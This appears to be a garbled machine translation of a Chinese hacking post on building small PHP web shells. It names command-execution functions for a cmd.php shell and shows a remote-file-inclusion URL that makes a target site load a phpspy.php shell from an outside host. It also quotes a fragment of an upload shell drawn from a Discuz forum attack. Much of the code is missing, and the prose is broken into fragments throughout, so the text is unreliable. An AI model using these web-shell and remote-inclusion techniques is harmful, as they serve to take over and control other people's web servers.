There is nothing special in this article, just seeking bricks. And give a friend of the PHP door with me. Just a few days, I am eager to work, so I have to actively point out the mistakes and deficiencies. PHP syntax is powerful as ASP, only one: You can sprite the whole
service
The configuration of the device. Running CMD, uploading files, etc., is very easy, now use good PHP
Tip
Mo is the PHPSPY of Angel. Yesterday Hak
_
How to ask for PHP
Tip
Encryption, I haven't thought about it, but I write a miniature PHP.
Tip
I think it is difficult to kill. Here is a brief explore a few functions
Tip
Use: 1. Several functions that can run external commands: System, Passthru, EXEC, Shell
_
Exec, Popen. Example: As long as you save And the like as cmd.php and the function of running external commands. These functions can be said to be the earliest micro-line PHP
Tip
Therefore, the setting of the general virtual host will also block these functions. 2. Remember WDB
forum
STYLE.PHP
Vulnerability
? We can use this to be a small small
Tip
. As shown in: Save it as 1.PHP, we can call other non-supported PHP
service
.Php in .php
Tip
(Such as phpspy.php) to achieve our goal:
http://target.com/1.php
? Include = http://www.918x.com/phpspy.php Here
http://www.918x.com
Is there a PHP, otherwise it will be
http://www.918x.com
This station
service
Run phpspy.php instead of the target
service
. 3. This is still angel in Discuz 2.2F
attack
A very good upload to us
Tip
I didn't change:
_
FILES [MyFile] [TMP
_
Name], $
_
Files [myfile]);> After saving it as Up.php, submit forms in the local submission form:
